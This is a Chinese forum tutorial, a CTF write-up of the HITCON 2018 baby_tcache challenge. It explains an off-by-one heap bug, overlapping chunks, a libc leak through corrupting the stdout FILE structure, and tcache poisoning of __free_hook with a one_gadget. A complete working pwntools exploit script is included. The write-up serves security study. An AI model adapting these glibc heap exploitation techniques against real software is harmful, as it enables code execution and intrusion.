查看: 123|回复: 0

[Pwn] pwn堆入门系列教程8

[复制链接]
发表于 2020-5-27 14:33:35 | 显示全部楼层 |阅读模式
pwn堆入门系列教程8  
  这篇文章感觉算堆又不算堆,因为要结合到IO_FILE攻击部分,而且最主要是IO_FILE的利用,此题又学习到新的东西了,以前只玩过IO_FILE的伪造vtable,这次的leak方法第一次见
HITCON2018 baby_tcache  这道题我故意将其与tcache中的第一道题分开,因为这道题难度不在于tcache的攻击,而在于IO_FILE的利用,利用上一篇文章中的方法也很容易构造overlap,但libc却无法泄露,我自己纠结好久过后,还是看了wp
功能分析
  • 新建一个堆块,存在off-by-one
  • 删除一个堆块
  • 退出
  无leak函数
漏洞点分析
int sub_C6B()
{
_QWORD *v0; // rax
signed int i; // [rsp+Ch] [rbp-14h]
_BYTE *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 size; // [rsp+18h] [rbp-8h]

for ( i = 0; ; ++i )
{
if ( i > 9 )
{
LODWORD(v0) = puts(":(");
return (signed int)v0;
}
if ( !qword_202060[i] )
break;
}
printf("Size:");
size = sub_B27();
if ( size > 0x2000 )
exit(-2);
v3 = malloc(size);
if ( !v3 )
exit(-1);
printf("Data:");
sub_B88((__int64)v3, size);
v3[size] = 0;
qword_202060[i] = v3;
v0 = qword_2020C0;
qword_2020C0[i] = size;
return (signed int)v0;
}

  漏洞点很明显,off-by-one,在堆块重用机制下,会覆盖到下一个堆快的size部分
漏洞利用过程  起初自己分析的时候做着做着忘了他没有leak,一股脑构造了个overlap,然后???我没有leak咋泄露啊,然后爆炸了,卡了很久都不知道怎么leak
看了别人的wp后发觉是利用IO_FILE泄露,以前没有接触过,所以这次记录下
堆操作初始化
#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF('./baby_tcache')
libc = elf.libc
io = process('./baby_tcache')
context.log_level = 'debug'

def choice(idx):
io.sendlineafter("Your choice: ", str(idx))

def new(size, content='a'):
choice(1)
io.sendlineafter("Size:", str(size))
io.sendafter('Data:', content)

def delete(idx):
choice(2)
io.sendlineafter("Index:", str(idx))

def exit():
choice(3)

  这个没啥好讲的,每次都得写
这部分是构造overlap的
new(0x500-0x8) #0
new(0x30) #1
new(0x40) #2
new(0x50) #3
new(0x60) #4
new(0x500-0x8) #5
new(0x70) #6
delete(4)
new(0x68, "A"*0x60 + '\x60\x06')
delete(2)
delete(0)
delete(5)

  前面学过chunk extend部分,这部分应该很好理解,至于那里为什么是\x60\x06
  hex(0x500+0x30+0x40+0x50+0x60+0x40)
'0x660'
  注意0x500这部分包括chunk的pre_size和size部分
  计算的时候要算上chunk头部大小
leak libc(重点)
new(0x530)
delete(4)
new(0xa0, '\x60\x07')
new(0x40, 'a')
new(0x3e, p64(0xfbad1800)+ p64(0)*3 + '\x00')
print(repr(io.recv(8)))
print('leak!!!!!')
info1 = io.recv(8)
print(repr(info1))
leak_libc = u64(info1)
io.success("leak_libc: 0x%x" % leak_libc)
libc_base = leak_libc - 0x3ed8b0

  • 我们要将unsortbin移动到chunk2部分,所以总大小为0x500+0x30+0x10=0x540,所以malloc是0x530
  • delete(4)为了后面做准备
  • 接下来要覆盖的后三位是0x760,这是不会改的,内存一个页是0x1000,后三位是固定的,所以需要爆破高位,我们爆破猜测为0,所以是0x0760,这里是chunk2的数据部分,本来是main_arena的数据的,现在修改他的低两个字节,需要改成_IO_2_1stdout
  • tcache poisoning攻击
  • 这里的为什么是fbad1800?以及0x3e大小,还有p64(0)如何来的?
  引用ctf-wiki
  最终会调用到这部分代码
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES)  
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) 
{
:
:
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,  // 需要调用的目标,如果使得 _IO_write_base < _IO_write_ptr,且 _IO_write_base 处
// 存在有价值的地址 (libc 地址)则可进行泄露
// 在正常情况下,_IO_write_base == _IO_write_ptr 且位于 libc 中,所以可进行部分写
f->_IO_write_ptr - f->_IO_write_base);

  下面会以_IO_do_write相同的参数调用new_do_write
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)  /* 需要满足 */
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
............
}
count = _IO_SYSWRITE (fp, data, to_do); // 这里真正进行 write

  我们目的是调用到_IO_SYSWRITE,所以要bypass前面的检查,结合起来
_flags = 0xfbad0000  // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

  上面这部分ctf-wiki讲过了不在重复叙述,我当初纠结的是puts究竟是如何泄露libc的,
我们要用的是_IO_SYSWRITE(fp, data, to_do)
这个函数最终对应到函数 write(fp->fileno, data, to_do)
程序执行到这里就会输出 f->_IO_write_base中的数据,而这些数据里面,就会存在固定的libc中的地址。
  这部分过程建议读读这篇文章,当输出缓冲区还没有满时,会将即将打印的字符串复制到输出缓冲区中,填满输出缓冲区。然后调用_IO_new_file_overflow刷新输出缓冲区
  IO-FILE部分源码分析及利用
  所以会泄露出部分数据,逆着推导我们需要执行到这个函数,就需要bypass前面的检查
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,  // 需要调用的目标,如果使得 _IO_write_base < _IO_write_ptr,且 _IO_write_base 处
// 存在有价值的地址 (libc 地址)则可进行泄露
// 在正常情况下,_IO_write_base == _IO_write_ptr 且位于 libc 中,所以可进行部分写
f->_IO_write_ptr - f->_IO_write_base);

  这里我们将_IO_write_base最低覆盖成0了,所以他大部分情况下比_IO_write_ptr小,所以to_do的大小就变成相对可控了
  在逆向回去就是flag检查
#define _IO_NO_WRITES 0x0008
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000

_flags = 0xfbad0000 //高两个字节是magic不用管
_flags & = _IO_NO_WRITES = 0
_flags & _IO_CURRENTLY_PUTTING = 1
_flags & _IO_IS_APPENDING = 1

所以_flag的值为0x0xfbad18*0  *可以为任何数

  其实魔数部分改成什么都可以
  原理讲通后就是测试了
struct _IO_FILE {
int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr;   /* Current read pointer */
char* _IO_read_end;   /* End of get area. */
char* _IO_read_base;  /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr;  /* Current put pointer. */
char* _IO_write_end;  /* End of put area. */
char* _IO_buf_base;   /* Start of reserve area. */
char* _IO_buf_end;    /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base;  /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/*  char* _save_gptr;  char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

  这里就是覆盖_IO_FILE的结构体了,fbad1800是flags,fbad是魔数,
后面接下来三个p64(0)覆盖
char* _IO_read_ptr;   /* Current read pointer */
char* _IO_read_end;   /* End of get area. */
char* _IO_read_base;  /* Start of putback+get area. */

  最后覆盖一个低字节\x00到_IO_write_base,效果如下
gdb-peda$ x/20gx 0x7f00898f0760
0x7f00898f0760 <_IO_2_1_stdout_>:   0x00000000fbad1800  0x0000000000000000
0x7f00898f0770 <_IO_2_1_stdout_+16>:    0x0000000000000000  0x0000000000000000
0x7f00898f0780 <_IO_2_1_stdout_+32>:    0x00007f00898f0700  0x00007f00898f07e3
0x7f00898f0790 <_IO_2_1_stdout_+48>:    0x00007f00898f07e3  0x00007f00898f07e3
0x7f00898f07a0 <_IO_2_1_stdout_+64>:    0x00007f00898f07e4  0x0000000000000000
0x7f00898f07b0 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000
0x7f00898f07c0 <_IO_2_1_stdout_+96>:    0x0000000000000000  0x00007f00898efa00
0x7f00898f07d0 <_IO_2_1_stdout_+112>:   0x0000000000000001  0xffffffffffffffff
0x7f00898f07e0 <_IO_2_1_stdout_+128>:   0x000000000a000000  0x00007f00898f18c0
0x7f00898f07f0 <_IO_2_1_stdout_+144>:   0xffffffffffffffff  0x0000000000000000
gdb-peda$ x/10gx 0x00007f00898f0700
0x7f00898f0700 <_IO_2_1_stderr_+128>:   0x0000000000000000  0x00007f00898f18b0
0x7f00898f0710 <_IO_2_1_stderr_+144>:   0xffffffffffffffff  0x0000000000000000
0x7f00898f0720 <_IO_2_1_stderr_+160>:   0x00007f00898ef780  0x0000000000000000
0x7f00898f0730 <_IO_2_1_stderr_+176>:   0x0000000000000000  0x0000000000000000
0x7f00898f0740 <_IO_2_1_stderr_+192>:   0x0000000000000000  0x0000000000000000

  所以可以泄露出libc地址了
tcache poisoning攻击
new(0xa0, p64(libc_base + libc.symbols['__free_hook']))
new(0x60, "A")
#gdb.attach(io)
#one_gadget = 0x4f2c5 #
one_gadget = 0x4f322 #0x10a38c
new(0x60, p64(libc_base + one_gadget))
delete(0)

exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF('./baby_tcache')
libc = elf.libc
io = process('./baby_tcache')
context.log_level = 'debug'

def choice(idx):
io.sendlineafter("Your choice: ", str(idx))

def new(size, content='a'):
choice(1)
io.sendlineafter("Size:", str(size))
io.sendafter('Data:', content)

def delete(idx):
choice(2)
io.sendlineafter("Index:", str(idx))

def exit():
choice(3)


def exp():
new(0x500-0x8) #0
new(0x30) #1
new(0x40) #2
new(0x50) #3
new(0x60) #4
new(0x500-0x8) #5
new(0x70) #6
delete(4)
new(0x68, "A"*0x60 + '\x60\x06')
delete(2)
delete(0)
delete(5)
new(0x530)
delete(4)
new(0xa0, '\x60\x07')
new(0x40, 'a')
new(0x3e, p64(0xfbad1800)+ p64(0)*3 + '\x00')
print(repr(io.recv(8)))
print('leak!!!!!')
info1 = io.recv(8)
print(repr(info1))
leak_libc = u64(info1)
io.success("leak_libc: 0x%x" % leak_libc)
libc_base = leak_libc - 0x3ed8b0
new(0xa0, p64(libc_base + libc.symbols['__free_hook']))
new(0x60, "A")
#gdb.attach(io)
#one_gadget = 0x4f2c5 #
one_gadget = 0x4f322 #0x10a38c
new(0x60, p64(libc_base + one_gadget))
delete(0)



if __name__ == '__main__':
while True:
try:
exp()
io.interactive()
break
except Exception as e:
io.close()
io = process('./baby_tcache')

调试总结  这些都是自己调试出来的经验,所以个人技巧,不喜欢可以不用
查看内存部分  想gdb调试查看这部分内存的话
new(0x3e, p64(0xfbad1800)+ p64(0)*3 + '\x00'),
不要在之后下断,之后查看的话看不到
可以在这句话之前下断
b malloc
finish
n

  n有好多步,自己测试,这里可以一直按回车,gdb会默认上一条命令,记得查看那时候内存就行x/20gx stdout
gdb附加技巧  这道题需要爆破,所以附加的不好很麻烦,我是加了个死循环,然后gdb.attach(io),想要中断的时候在运行exp代码那个终端ctrl+c中断后在关闭gdb附加窗口
计算技巧  以前我经常用python计算offset,现在都是用gdb命令p  addr1-addr2
总结
  • IO_FILE攻击还是nb,能利用基本函数泄露出libc
  • 自己构造起overlap起来还是有点吃力,以后要多练习这部分内容
参考链接  ctf-wiki
IO-FILE部分源码分析及利用
2018-hitcon-baby-tcache_writeup



温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
微信公众号
快速回复 返回顶部 返回列表